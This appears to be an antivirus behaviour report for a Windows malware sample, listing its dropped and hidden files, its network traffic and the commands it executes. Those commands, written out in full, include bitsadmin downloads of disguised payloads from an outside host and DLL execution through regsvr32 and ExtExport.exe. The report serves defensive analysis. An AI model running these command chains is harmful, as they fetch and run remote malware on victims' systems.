Technical Information
Malicious functions
Creates and executes the following
- '%WINDIR%\explorer.exe' /c, C:\Users\Public\Documents\cvbvh2j.js
Modifies file system
Creates the following files
- C:\users\public\documents\cvbvh2j.js
- nul
- %APPDATA%\fpv7790378\bit3bdd.tmp
- %APPDATA%\fpv7790378\bit7b58.tmp
- %APPDATA%\fpv7790378\bit8c70.tmp
- %APPDATA%\fpv7790378\bit9cbd.tmp
- %APPDATA%\fpv7790378\bitad48.tmp
- %APPDATA%\fpv7790378\bitc1cb.tmp
- %APPDATA%\fpv7790378\bite16a.tmp
- %APPDATA%\fpv7790378\bitf3e9.tmp
- %APPDATA%\fpv7790378\bit5fb.tmp
- %APPDATA%\fpv7790378\bit1771.tmp
- %APPDATA%\fpv7790378\bit28c8.tmp
- %APPDATA%\fpv7790378\bit39ef.tmp
Sets the 'hidden' attribute to the following files
- %APPDATA%\fpv7790378\bit3bdd.tmp
- %APPDATA%\fpv7790378\bit7b58.tmp
- %APPDATA%\fpv7790378\bit8c70.tmp
- %APPDATA%\fpv7790378\bit9cbd.tmp
- %APPDATA%\fpv7790378\bitad48.tmp
- %APPDATA%\fpv7790378\bitc1cb.tmp
- %APPDATA%\fpv7790378\bite16a.tmp
- %APPDATA%\fpv7790378\bitf3e9.tmp
- %APPDATA%\fpv7790378\bit5fb.tmp
- %APPDATA%\fpv7790378\bit1771.tmp
- %APPDATA%\fpv7790378\bit28c8.tmp
- %APPDATA%\fpv7790378\bit39ef.tmp
Moves the following files
- from %APPDATA%\fpv7790378\bit3bdd.tmp to %APPDATA%\fpv7790378\mammonsysdwwn.gif
- from %APPDATA%\fpv7790378\bit7b58.tmp to %APPDATA%\fpv7790378\mammonsysc.jpg
- from %APPDATA%\fpv7790378\bit8c70.tmp to %APPDATA%\fpv7790378\mammonsysa.jpg
- from %APPDATA%\fpv7790378\bit9cbd.tmp to %APPDATA%\fpv7790378\mammonsysb.jpg
- from %APPDATA%\fpv7790378\bitad48.tmp to %APPDATA%\fpv7790378\mammonsysdx.gif
- from %APPDATA%\fpv7790378\bitc1cb.tmp to %APPDATA%\fpv7790378\mammonsysg.gif
- from %APPDATA%\fpv7790378\bite16a.tmp to %APPDATA%\fpv7790378\mammonsysgx.gif
- from %APPDATA%\fpv7790378\bitf3e9.tmp to %APPDATA%\fpv7790378\mammonsysi.gif
- from %APPDATA%\fpv7790378\bit5fb.tmp to %APPDATA%\fpv7790378\mammonsysxa.~
- from %APPDATA%\fpv7790378\bit1771.tmp to %APPDATA%\fpv7790378\mammonsysxb.~
- from %APPDATA%\fpv7790378\bit28c8.tmp to %APPDATA%\fpv7790378\mammonsysxc.~
- from %APPDATA%\fpv7790378\bit39ef.tmp to %APPDATA%\fpv7790378\sqlite3.dll
Network activity
TCP
HTTP GET requests
- http://bt#######ge.theliberates.online/?02#
UDP
- DNS ASK bt#######ge.theliberates.online
- DNS ASK 5d######oc9.liberates.tech
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\Documents\cvbvh2j.js"
- '<SYSTEM32>\cmd.exe' /c cd "%ProgramFiles(x86)%\Internet Explorer\" && ExtExport.exe "%APPDATA%\FPV7790378\sqlite3.dll" 2 3 4 FIREFOX {00000000-0000-0000-0000-000000000000}' (with hidden window)
- '<SYSTEM32>\cmd.exe' /V /C "echo %APPDATA%\FPV7790378\>C:\Users\Public\h"&& exit' (with hidden window)
- '<SYSTEM32>\cmd.exe' /V /C "echo xXx>%APPDATA%\FPV7790378\\r2.log"&& exit' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 99672 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsyshh7.dll.zip %APPDATA%\FPV7790378\sqlite3.dll' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 52682 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysxc.gif.zip %APPDATA%\FPV7790378\mammonsysxc.~' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 58798 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysxb.gif.zip %APPDATA%\FPV7790378\mammonsysxb.~' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 12052 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysxa.gif.zip %APPDATA%\FPV7790378\mammonsysxa.~' (with hidden window)
- '<SYSTEM32>\regsvr32.exe' /s "%APPDATA%\FPV7790378\sqlite3.dll"' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 68271 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysi.gif.zip %APPDATA%\FPV7790378\mammonsysi.gif' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 64081 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysg.gif.zip %APPDATA%\FPV7790378\mammonsysg.gif' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 80840 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysdx.gif.zip %APPDATA%\FPV7790378\mammonsysdx.gif' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 7261 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysb.jpg.zip %APPDATA%\FPV7790378\mammonsysb.jpg' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 92186 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysa.jpg.zip %APPDATA%\FPV7790378\mammonsysa.jpg' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 22276 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysc.jpg.zip %APPDATA%\FPV7790378\mammonsysc.jpg' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 56205 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysdwwn.gif.zip %APPDATA%\FPV7790378\mammonsysdwwn.gif' (with hidden window)
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\Documents\cvbvh2j.js"' (with hidden window)
- '<SYSTEM32>\bitsadmin.exe' /transfer 82862 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysgx.gif.zip %APPDATA%\FPV7790378\mammonsysgx.gif' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c echo %time% && timeout 4000 > NUL && exit' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /S /D /c" sEt/p rbmzxxm="%MXQ:IVEDDI=%%et986da:1UUYD=/%" 0<nul 1>C:\Users\Public\Documents\cvbvh2j.js"
- '<SYSTEM32>\regsvr32.exe' /s "%APPDATA%\FPV7790378\sqlite3.dll"
- '%ProgramFiles(x86)%\internet explorer\extexport.exe' "%APPDATA%\FPV7790378\sqlite3.dll" 2 3 4 FIREFOX {00000000-0000-0000-0000-000000000000}
- '<SYSTEM32>\cmd.exe' /c cd "%ProgramFiles(x86)%\Internet Explorer\" && ExtExport.exe "%APPDATA%\FPV7790378\sqlite3.dll" 2 3 4 FIREFOX {00000000-0000-0000-0000-000000000000}
- '<SYSTEM32>\cmd.exe' /V /C "echo %APPDATA%\FPV7790378\>C:\Users\Public\h"&& exit
- '<SYSTEM32>\cmd.exe' /V /C "echo xXx>%APPDATA%\FPV7790378\\r2.log"&& exit
- '<SYSTEM32>\bitsadmin.exe' /transfer 99672 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsyshh7.dll.zip %APPDATA%\FPV7790378\sqlite3.dll
- '<SYSTEM32>\bitsadmin.exe' /transfer 52682 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysxc.gif.zip %APPDATA%\FPV7790378\mammonsysxc.~
- '<SYSTEM32>\bitsadmin.exe' /transfer 58798 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysxb.gif.zip %APPDATA%\FPV7790378\mammonsysxb.~
- '<SYSTEM32>\bitsadmin.exe' /transfer 12052 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysxa.gif.zip %APPDATA%\FPV7790378\mammonsysxa.~
- '<SYSTEM32>\bitsadmin.exe' /transfer 68271 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysi.gif.zip %APPDATA%\FPV7790378\mammonsysi.gif
- '<SYSTEM32>\bitsadmin.exe' /transfer 82862 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysgx.gif.zip %APPDATA%\FPV7790378\mammonsysgx.gif
- '<SYSTEM32>\bitsadmin.exe' /transfer 64081 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysg.gif.zip %APPDATA%\FPV7790378\mammonsysg.gif
- '<SYSTEM32>\bitsadmin.exe' /transfer 80840 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysdx.gif.zip %APPDATA%\FPV7790378\mammonsysdx.gif
- '<SYSTEM32>\bitsadmin.exe' /transfer 7261 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysb.jpg.zip %APPDATA%\FPV7790378\mammonsysb.jpg
- '<SYSTEM32>\bitsadmin.exe' /transfer 92186 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysa.jpg.zip %APPDATA%\FPV7790378\mammonsysa.jpg
- '<SYSTEM32>\bitsadmin.exe' /transfer 22276 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysc.jpg.zip %APPDATA%\FPV7790378\mammonsysc.jpg
- '<SYSTEM32>\bitsadmin.exe' /transfer 56205 /priority foreground https://5deciu1eoc9.liberates.tech/07/mammonsysdwwn.gif.zip %APPDATA%\FPV7790378\mammonsysdwwn.gif
- '<SYSTEM32>\cmd.exe' /S /D /c" echo IRUSF4666IRLK900HDWYSFJIBMZX 1>nul"
- '<SYSTEM32>\cmd.exe' /S /D /c" exit 1>nul"
- '<SYSTEM32>\cmd.exe' /S /D /c" cd %WINDIR% 1>nul"
- '<SYSTEM32>\cmd.exe' /S /D /c" md \ |"
- '<SYSTEM32>\cmd.exe' /c echo %time% && timeout 4000 > NUL && exit
- '<SYSTEM32>\timeout.exe' 4000
